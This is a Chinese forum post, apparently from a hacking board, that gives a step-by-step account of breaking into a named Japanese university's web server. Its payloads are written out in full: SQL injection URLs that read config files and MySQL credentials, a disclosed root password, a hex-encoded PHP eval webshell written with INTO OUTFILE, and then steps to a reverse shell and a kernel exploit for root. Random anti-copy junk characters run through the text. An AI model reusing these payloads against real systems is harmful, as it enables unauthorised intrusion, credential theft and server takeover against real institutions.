入侵日本同志社大学技术分析, P7 Q0 S) s# {; H& U5 S; w
+ a3 z' N- D% K/ j1 E: n
http://www.doshisha.ac.jp/chs/news/index.php?i=-15 `+ B$ q2 y: |! ^% M
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
9 p: w( s j4 n& a7 b; d2 x* d" d4 O9 k& `, k+ s0 t; M, c$ }
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user; K& X* m& R' A
" G3 _, {0 M# S( n( g5 a
% `8 ^6 T7 x8 V/ U) F/ K9 x9 h( h% {) ]5 m
//@@datadir为数据库文件路径
1 B) R' J& x7 N 9 o8 w9 Q6 V0 Q- m4 A
6 @' X2 h F. f: x1 b
//load_file读取网站容器apache的配置文件
" s' t1 Y. ], g7 t' u( [- Z J! t+ i1 u) O* N! U/ }
7 s% N+ o/ T2 G0 O/ P. F
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
8 z. Q% x( S+ w$ `1 k+ h复制代码8 w1 }* F, E" K' |( I. ~" Z
0 D* x) v" x: n$ U* Z虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
: J: d( `, ?! ?) N+ ~. b7 L) _- M- O0 I
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
2 ?8 w. b6 w7 e& c& y& K(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
2 `. M4 o2 i0 s- Q* w( \2 ^* v9 E3 L' T* M* T
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
" k& Y( j! S8 M1 Y0 k7 ~如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html* K, }& i7 i0 F4 b% y/ Y2 _: M& n
- M d& o) h6 C& u
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
0 O6 e& w" Y' j* `; v虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
+ O8 k. U' ]' M0 _. t, q直接写一句话:6 N* a+ o* P- j6 ~# [. Y8 E1 |
' m2 P# `$ U/ B$ v. y
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#' t" O; |- {& s5 X* K
, i' a. b- r$ m: M! q2 h2 i: ~* }
$ Z# [9 I# I6 d5 @
+ U3 o8 `! u% K0 k3 c& K//最后的#是为了闭合前面的语句 1 N; ]: n7 c* c. w/ q% x& ?
) P! ^3 r+ H/ o6 A7 X: j
6 M4 V( `* S! M# U
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
0 q9 x3 u( d) A, Q+ w2 k: D4 D
0 i1 `+ \( h& B z- e! N4 z' p; C$ [) _0 z5 T$ u) V
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
( r; X- ?5 g% C2 P! \/ ?9 h
# @1 A" T) I. y9 a$ i( \2 k0 d. \) f! X" \) ^( O" ]% @" u
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 # U5 N0 D/ `, M) Z
" s0 S- J i: a0 X, H
: P3 j6 j9 q! X% i" e//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 ) a' U+ W+ W5 b6 n% h$ Y2 v8 S, x
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” . r9 T4 [+ s7 N% t
复制代码7 k7 d8 X, H2 k$ P# s
k5 j5 `' e+ B0 j7 D) t
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
$ u. t" }) _ R通过上述注入语句,我们就得到了一句话木马:
* r8 P/ y$ o) ?4 F+ X. @) L" M1 J" P( Q# n8 v1 x) x; r9 L
: N: }* z& v9 N# W5 X' W1 ^( e1 k2 t( N0 Q/ ~, [# ], ]& f! O
; T0 p. }; Y( F8 z9 L- F( ]3 H
4 ]- F( R9 U6 r$ w0 Yhttp://www.doshisha.ac.jp/english/engnews_img/aa.php 9 p' v* O, ^8 D& W
复制代码
& y8 d7 M4 w7 N" I! ^/ [5 ?+ C' r2 M! s5 \! w* R
用菜刀连接,密码是cmd,如图所示:$ U) g1 f7 B" j: o0 Q$ {
然后在命令提示行里看了一下,现在的权限是:
* g& u7 L2 n3 S- p8 r* S4 N0 l4 V5 J! n' {1 M2 u% y6 p1 x8 Q$ o+ g
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。+ |& n% ^5 i V% X n) L; E
好在赋权给这个文件夹不需要root,直接执行赋权语句:
& `- i5 r0 g; \# {8 i: Z5 T
+ Y: j, G$ T: [1 Y( h9 @$ Z
& h1 w& ]# ]! }; }- N1 ^5 v$ J& w2 w1 ?2 r/ Y* ?$ }/ ?9 {: s; @0 z
, i# \! J' V9 E# d# e! z" Y; ?. J
& a3 w" }) B, L% t! |$ ?/ cchmod +x /tmp/
2 p; }* a; i& L0 r4 g复制代码0 S. G- b; h' t8 n0 [* w; c
3 D' [/ M& I, I. t. i& a0 D# k在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
& _' @4 Y( j6 j, O( q4 M7 Y9 N然后就查了一下内核版本:; {+ |3 F' r; t" Z+ Q' ]
) |7 l3 @4 T" K1 N4 _ R' I
6 d# Y0 u7 y$ e! N2 k
% O$ j' [; }/ H# o& h- K6 a
! s$ F: w- w5 }; M
5 n! A) @! h. X A/ \uname-a . B* P+ j; ]! t" N$ ]1 `# U* \
. B c/ g4 j4 K2 ^
& J3 x r& \/ I( L$ ]//其实lsb_release -a ; G x5 M* o- |, D+ S
复制代码
% @- n7 S- N( x8 v' z+ T2 @$ G4 b( L- B. ?2 r
如图所示:! ~& L. N( e( S' p9 O9 b7 O/ _
+ `& W% |9 |% l0 e& \内核版本:linux mainz1 2.6.28-194.e15
, T9 r+ t& K _1 W1 z6 Q% B Q系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)/ q, _8 c) s, \5 _5 G
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
9 E1 {' e7 ] P( x; {. D
9 ~% }; S' Y; P. d然后给予执行权限3 L% w! b' y, R
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
0 {: O+ Q0 ?5 z- j% p8 k- Y# n
4 K1 k% E9 \& r" d3 q 1 C5 i$ n5 p+ j/ k* `1 I4 g
( i. T; p/ ?3 x
( R# \* x: P r* h4 Q
0 A7 r1 s4 L* o+ Y7 v3 s. l( v3 dchmod +x /tmp/2.6.18-194
/ H5 E8 z6 _# @5 ?复制代码 然后直接执行!~4 A* ]$ E# X2 B* e0 f) A' ?9 ^2 U
9 l! D: H. I/ M6 [- e总结:" C! E4 D5 o; Z2 [. q1 `* L' K0 |
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了: N- a) h2 Z, w! ~/ M" |
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root8 u6 t# E+ |" M1 |% G
& a q/ Q; Q- f# ~
|